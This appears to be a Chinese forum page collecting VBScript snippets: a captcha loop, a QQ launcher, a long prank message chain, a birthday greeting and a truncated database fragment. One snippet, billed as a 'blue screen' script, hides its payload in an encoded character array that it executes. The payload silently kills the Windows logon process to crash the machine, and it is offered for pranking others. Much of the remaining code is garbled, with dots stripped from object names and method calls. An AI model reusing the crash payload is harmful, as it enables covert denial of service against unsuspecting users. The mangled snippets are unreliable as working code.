求VBS代码

'声明变量

dim str,yzm

'生成随机验证码

yzm=Ryzm()

'判断验证码是否正确,不区分大小写

while Ucase(str)<>Ucase(yzm)

'不正确时更换验证码

yzm=Ryzm()

'验证码输入框

str=inputbox(yzm,"请输入验证码")

wend

Function RYzm()

'验证码范围

zm="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

sz="0123456789"

'生成5个随机数

Randomize

x=int(rnd100 mod len(zm)+1)

y=int(rnd100 mod len(zm)+1)

z=int(rnd100 mod len(zm)+1)

r=int(rnd100 mod len(zm)+1)

n=int(rnd100 mod len(sz)+1)

'从验证码范围中取出生成的随机验证码

Ryzm=mid(zm,x,1) & mid(zm,y,1) & mid(zm,z,1) & mid(zm,r,1) & mid(sz,n,1)

End Function

vbs代码如下：

'══代══码══开══始════

set fso=CreateObject("ScriptingFileSystemObject")

set ws=CreateObject("wscriptshell")

path=fsogetfile("C:\Program Files\Tencent\QQMiniDownloader\jcqqdlq-v10\桔城QQ2010自动登录器exe")shortpath

wsrun path

wscriptsleep 101000

wsrun path

'Coded By escortmnm from VBS团队

'══代══码══结══束════

我给的代码确实是双击运行后立即运行，10秒后再运行。

无害的，一个心理测试（膨胀）

有点简单。（。）

代码如下：

WScriptEcho("嘿，谢谢你打开我哦，我等你很久拉！"&TSName) 

WScriptEcho("你是可爱的小朋吗") 

WScriptEcho("哈,我想你拉，这你都不知道吗？")

WScriptEcho("怎么才来，说~是不是不关心我") 

WScriptEcho("哼,我生气拉，等你这么久，心都凉啦。") 

WScriptEcho("小强很生气，后果很严重哦。") 

WScriptEcho("嘿嘿！你也会很惨滴哦") 

WScriptEcho("是不是想清除我？") 

WScriptEcho("那你要点上50下哦，不过会给你惊喜滴") 

WScriptEcho("还剩49下，快点点哦") 

WScriptEcho("还剩48下，快点，小笨蛋！") 

WScriptEcho("还剩47下对，就这样快点点！") 

WScriptEcho("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。") 

WScriptEcho("还剩45下，记得要快哦！") 

WScriptEcho("还剩43下") 

WScriptEcho("还剩42下") 

WScriptEcho("还剩41下") 

WScriptEcho("还剩40下") 

WScriptEcho("还剩39下") 

WScriptEcho("还剩38下") 

WScriptEcho("还剩37下") 

WScriptEcho("还剩36下") 

WScriptEcho("还剩35下") 

WScriptEcho("还剩34下") 

WScriptEcho("还剩33下") 

WScriptEcho("还剩32下") 

WScriptEcho("还剩30下") 

WScriptEcho("还剩29下") 

WScriptEcho("还剩28下") 

WScriptEcho("还剩27下") 

WScriptEcho("还剩26下") 

WScriptEcho("还剩25下") 

WScriptEcho("还剩24下") 

WScriptEcho("还剩23下") 

WScriptEcho("还剩22下") 

WScriptEcho("还剩21下") 

WScriptEcho("还剩20下") 

WScriptEcho("还剩19下") 

WScriptEcho("还剩18下") 

WScriptEcho("还剩17下") 

WScriptEcho("还剩16下") 

WScriptEcho("还剩15下") 

WScriptEcho("还剩14下") 

WScriptEcho("还剩13下停停！！！慢点，我有话要说") 

WScriptEcho("还剩12下，你继续点我就会消失滴") 

WScriptEcho("还剩11下，以后就看不到我拉。555555") 

WScriptEcho("还剩10下，你现在可以选择停止！") 

WScriptEcho("还剩9下。你还点啊，不要我拉？") 

WScriptEcho("还剩8下，有点伤心拉，干嘛丢弃人家") 

WScriptEcho("还剩7下。疯了，你有点负意！") 

WScriptEcho("还剩6下。对。你就点吧，我恨你！") 

WScriptEcho("还剩5下，不明白，删除我你就好吗？") 

WScriptEcho("还剩4下！真要删除我？") 

WScriptEcho("还剩3下。可是我真的很眷恋你。。。") 

WScriptEcho("还剩2下。不要这么绝情嘛，人家是爱你的！") 

WScriptEcho("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")

WScriptEcho("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")

WScriptEcho("想结素我么那你就再多点一次") 

WScriptEcho("想结素我么那你就再多点一次") 

WScriptEcho("想结素我么那你就再多点一次") 

WScriptEcho("想结素我么那你就再多点一次") 

WScriptEcho("想结素我么那你就再多点一次") 

WScriptEcho("想结素我么那你就再多点一次") 

WScriptEcho("想结素我么那你就再多点一次") 

WScriptEcho("想结素我么那你就再多点一次") 

WScriptEcho("想结素我么那你就再多点一次") 

WScriptEcho("想结素我么那你就再多点一次") 

——————分割线————————

保存，保存类型为所有文件，名字随便，矿展名“vbs”，保存后点开。

'═════代═══码═══开═══始═════

do

name=inputbox("请输入你的姓名：")

if name="" or name<>"张三" then

msgbox "你输入的姓名不正确，请重新输入"

else

exit do

end if

loop

msgbox name&"祝你生日快乐！",64,"温馨提示"

'═════代═══码═══结═══束═════

请将代码中“张三”改为你需要的名字，注意不要丢掉了代码中的英文引号。

这个很强悍的vbs,蓝屏

strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-

23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-

13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103

,98,111,120,32,34,-15133,89,-13899,-20026,-

20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-

14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-

13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-

24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-

18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1

01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,

46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,

116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1

03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101

,110,100,32,105,102,13,10,13,10,13,10)

for i=1 to UBound(strs)

runner=runner&chr(strs(i))

next

Execute runner

vbs解包代码2010-03-27 21:43Dim rs, ws, fso, conn, stream, connStr, theFolder

Set rs = CreateObject("ADODBRecordSet")

Set stream = CreateObject("ADODBStream")

Set conn = CreateObject("ADODBConnection")

Set fso = CreateObject("ScriptingFileSystemObject")

connStr = "Provider=MicrosoftJetOLEDB40;Data Source=HSHmdb;"